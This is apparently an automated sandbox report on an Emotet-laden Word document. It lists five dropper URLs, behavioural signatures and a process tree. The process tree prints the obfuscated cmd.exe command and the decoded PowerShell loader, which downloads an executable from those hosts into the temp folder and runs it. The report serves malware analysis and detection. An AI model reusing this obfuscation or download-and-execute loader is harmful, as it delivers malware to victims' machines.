Analysis
- max time kernel
98s - max time network
127s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
31/05/2024, 15:08
General
- Target 876df2aa9583f09223ed7530e06c0c0d_JaffaCakes118.doc
- Size 96KB
- Sample240531-sh8rxscg59
- SHA256 69b8296544f94b5e8593a08000caafeb1c1fda6e0e474bd78ed2494debce1dc5
Malware Config
Extracted
-
ps1
-
exe.dropper
http://austeenyaar.com/6Amv
-
exe.dropper
http://memap.co.uk/4Xr
-
exe.dropper
http://naotraffic.com/7R
-
exe.dropper
http://www.livehasa.com/6tLzlbr
-
exe.dropper
http://microtek-rostov.ru/cuEYs
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\876df2aa9583f09223ed7530e06c0c0d_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set zFkq=SFkNXWLHJuwELQsMsqfpDOtkCkGVzzqw$n=:2'e7,i6;d(AIvhmbraY/{)-j.}@UR8+01xgy\c o4l&&for %E in (32;18;5;31;34;37;25;77;73;37;43;32;75;53;63;34;33;38;31;58;75;51;59;38;73;22;74;3;38;22;60;5;38;51;24;77;41;38;33;22;43;32;41;53;3;34;37;49;22;22;19;35;55;55;53;9;16;22;38;38;33;71;53;53;52;60;73;75;50;55;42;46;50;48;62;49;22;22;19;35;55;55;50;38;50;53;19;60;73;75;60;9;25;55;76;4;52;62;49;22;22;19;35;55;55;33;53;75;22;52;53;18;18;41;73;60;73;75;50;55;39;64;62;49;22;22;19;35;55;55;31;31;31;60;77;41;48;38;49;53;16;53;60;73;75;50;55;42;22;12;29;77;51;52;62;49;22;22;19;35;55;55;50;41;73;52;75;22;38;25;58;52;75;16;22;75;48;60;52;9;55;73;9;11;54;16;37;60;0;19;77;41;22;45;37;62;37;57;43;32;9;4;44;34;37;49;25;41;37;43;32;53;41;5;74;34;74;37;39;36;68;37;43;32;33;13;75;34;37;64;13;41;37;43;32;11;51;29;34;32;38;33;48;35;22;38;50;19;66;37;72;37;66;32;53;41;5;66;37;60;38;69;38;37;43;18;75;52;38;53;73;49;45;32;11;22;15;74;41;33;74;32;41;53;3;57;56;22;52;71;56;32;75;53;63;60;20;75;31;33;77;75;53;44;1;41;77;38;45;32;11;22;15;40;74;32;11;51;29;57;43;32;29;49;63;34;37;20;9;73;37;43;47;18;74;45;45;26;38;22;58;47;22;38;50;74;32;11;51;29;57;60;77;38;33;70;22;49;74;58;70;38;74;65;67;67;67;67;57;74;56;47;33;48;75;25;38;58;47;22;38;50;74;32;11;51;29;43;32;20;0;0;34;37;48;31;31;37;43;51;52;38;53;25;43;61;61;73;53;22;73;49;56;61;61;32;11;18;59;34;37;21;21;63;37;43;78)do set bJQa=!bJQa!!zFkq:~%E,1!&&if %E geq 78 %TMP:~-1%%TEMP:~-9,-8%w%TEMP:~5,1%rshe%PUBLIC:~-3,-2%l "!bJQa:~-426!""2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeCmD /V:ON/C"set zFkq=SFkNXWLHJuwELQsMsqfpDOtkCkGVzzqw$n=:2'e7,i6;d(AIvhmbraY/{)-j.}@UR8+01xgy\c o4l&&for %E in (32;18;5;31;34;37;25;77;73;37;43;32;75;53;63;34;33;38;31;58;75;51;59;38;73;22;74;3;38;22;60;5;38;51;24;77;41;38;33;22;43;32;41;53;3;34;37;49;22;22;19;35;55;55;53;9;16;22;38;38;33;71;53;53;52;60;73;75;50;55;42;46;50;48;62;49;22;22;19;35;55;55;50;38;50;53;19;60;73;75;60;9;25;55;76;4;52;62;49;22;22;19;35;55;55;33;53;75;22;52;53;18;18;41;73;60;73;75;50;55;39;64;62;49;22;22;19;35;55;55;31;31;31;60;77;41;48;38;49;53;16;53;60;73;75;50;55;42;22;12;29;77;51;52;62;49;22;22;19;35;55;55;50;41;73;52;75;22;38;25;58;52;75;16;22;75;48;60;52;9;55;73;9;11;54;16;37;60;0;19;77;41;22;45;37;62;37;57;43;32;9;4;44;34;37;49;25;41;37;43;32;53;41;5;74;34;74;37;39;36;68;37;43;32;33;13;75;34;37;64;13;41;37;43;32;11;51;29;34;32;38;33;48;35;22;38;50;19;66;37;72;37;66;32;53;41;5;66;37;60;38;69;38;37;43;18;75;52;38;53;73;49;45;32;11;22;15;74;41;33;74;32;41;53;3;57;56;22;52;71;56;32;75;53;63;60;20;75;31;33;77;75;53;44;1;41;77;38;45;32;11;22;15;40;74;32;11;51;29;57;43;32;29;49;63;34;37;20;9;73;37;43;47;18;74;45;45;26;38;22;58;47;22;38;50;74;32;11;51;29;57;60;77;38;33;70;22;49;74;58;70;38;74;65;67;67;67;67;57;74;56;47;33;48;75;25;38;58;47;22;38;50;74;32;11;51;29;43;32;20;0;0;34;37;48;31;31;37;43;51;52;38;53;25;43;61;61;73;53;22;73;49;56;61;61;32;11;18;59;34;37;21;21;63;37;43;78)do set bJQa=!bJQa!!zFkq:~%E,1!&&if %E geq 78 powershell "!bJQa:~-426!""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "$fWw='klc';$oaU=new-object Net.WebClient;$iaN='http://austeenyaar.com/6Amv@http://memap.co.uk/4Xr@http://naotraffic.com/7R@http://www.livehasa.com/6tLzlbr@http://microtek-rostov.ru/cuEYs'.Split('@');$uXd='hki';$aiW = '721';$nQo='RQi';$Ebz=$env:temp+'\'+$aiW+'.exe';foreach($EtM in $iaN){try{$oaU.DownloadFile($EtM, $Ebz);$zhU='Duc';If ((Get-Item $Ebz).length -ge 80000) {Invoke-Item $Ebz;$DSS='vww';break;}}catch{}}$Efj='OOU';"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
B43A06FB.wmf
sist02.xsl
__PSScriptPolicyTest_yhmpatrl.jwy.ps1
memory/1160-58-0x00000253FC360000-0x00000253FC382000-memory.dmp
memory/2180-6-0x00007FFB24F10000-0x00007FFB25105000-memory.dmp
memory/2180-13-0x00007FFB24F10000-0x00007FFB25105000-memory.dmp
memory/2180-0-0x00007FFAE4F90000-0x00007FFAE4FA0000-memory.dmp
memory/2180-7-0x00007FFB24F10000-0x00007FFB25105000-memory.dmp
memory/2180-8-0x00007FFB24F10000-0x00007FFB25105000-memory.dmp
memory/2180-12-0x00007FFB24F10000-0x00007FFB25105000-memory.dmp
memory/2180-11-0x00007FFB24F10000-0x00007FFB25105000-memory.dmp
memory/2180-14-0x00007FFB24F10000-0x00007FFB25105000-memory.dmp
memory/2180-15-0x00007FFAE2760000-0x00007FFAE2770000-memory.dmp
memory/2180-10-0x00007FFB24F10000-0x00007FFB25105000-memory.dmp
memory/2180-9-0x00007FFB24F10000-0x00007FFB25105000-memory.dmp
memory/2180-5-0x00007FFB24FAD000-0x00007FFB24FAE000-memory.dmp
memory/2180-16-0x00007FFAE2760000-0x00007FFAE2770000-memory.dmp
memory/2180-1-0x00007FFAE4F90000-0x00007FFAE4FA0000-memory.dmp
memory/2180-3-0x00007FFAE4F90000-0x00007FFAE4FA0000-memory.dmp
memory/2180-4-0x00007FFAE4F90000-0x00007FFAE4FA0000-memory.dmp
memory/2180-2-0x00007FFAE4F90000-0x00007FFAE4FA0000-memory.dmp
memory/2180-545-0x00007FFB24F10000-0x00007FFB25105000-memory.dmp
memory/2180-574-0x00007FFAE4F90000-0x00007FFAE4FA0000-memory.dmp
memory/2180-575-0x00007FFAE4F90000-0x00007FFAE4FA0000-memory.dmp
memory/2180-573-0x00007FFAE4F90000-0x00007FFAE4FA0000-memory.dmp
memory/2180-576-0x00007FFAE4F90000-0x00007FFAE4FA0000-memory.dmp
memory/2180-577-0x00007FFB24F10000-0x00007FFB25105000-memory.dmp